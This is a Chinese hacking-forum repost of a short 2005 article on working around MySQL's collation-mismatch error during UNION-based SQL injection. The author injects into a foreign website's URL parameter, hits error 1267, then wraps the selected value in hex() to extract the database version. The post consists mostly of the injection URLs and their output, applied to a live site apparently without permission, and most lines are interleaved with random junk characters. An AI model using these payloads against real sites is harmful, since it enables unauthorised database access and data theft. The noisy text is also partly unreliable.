找回密码
 立即注册
查看: 2349|回复: 0
打印 上一主题 下一主题

MySQL注射时ErrorNo.1267的突破

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:04:54 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
本文作者:SuperHei
" n8 ?5 H- j4 @1 n4 v文章性质:原创4 n) h3 b# M2 {3 a
发布日期:2005-10-18
  j" Z0 G2 W4 x4 W9 Y2 X测试个国外的站时:
* g, l. r# `; |: M; ~7 q2 Vurl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*. i0 i6 N* M9 b6 `8 ~% w/ q. T
返回错误:7 Q7 h) @7 Y/ `0 c
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
5 U/ f* j4 L' eMySQL Error No. 126# V2 r- O. o6 M) Q6 v
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
3 A8 b0 p; ~' F& c) E% V5 l! D, H2 V" J解决办法:转为其他编码如hex。
+ z, S, T. E: V6 murl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
! M2 h/ D$ O2 v# l5 z" I成功得到hex(version())的值为:
6 h) E) y$ s; z: ~" P# B. M. l  m342E312E332D62657461
6 v+ A) \7 ?. Z2 s8 C5 U4 R回Mysql查询下得到:% A6 U8 w0 `! i' q" T: g1 p$ {+ |
mysql> select 0x342E312E332D62657461;
- t6 Q$ B( j) c2 L0 ?1 g+------------------------+3 A( d0 J  v4 Q# S9 d/ p
| 0x342E312E332D62657461 |
0 \. m* i# b% |# W, l9 ?7 U4 N+------------------------+
( V) x) Y3 s8 R; R9 N| 4.1.3-beta |. z) W9 C3 Y% H' W7 B9 T% ~0 F
+------------------------+
5 j7 ]( k! x7 ~. ?* x3 P1 row in set (0.00 sec)
! J$ N8 Z# [8 {( _0 s6 |- O% s# O6 k5 J& u; F+ k! @4 X0 o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表